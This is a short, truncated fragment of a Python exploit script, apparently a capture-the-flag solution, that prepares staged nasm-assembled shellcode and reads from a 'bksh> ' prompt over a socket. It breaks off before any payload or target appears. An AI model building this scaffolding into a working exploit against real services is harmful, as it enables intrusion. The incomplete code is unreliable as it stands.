#!/usr/bin/python import struct import socket import telnetlib import time ''' nasm -f bin -o stage1.bin stage1.asm nasm -f bin -o stage1.5.bin stage1.5.asm nasm -f bin -o stage2.bin stage2.asm ./sploit.py ''' def readuntil(f, delim='bksh> '): data = '' while not data.endswith(delim): data += f.read(1) return data def p(v): return struct.pack('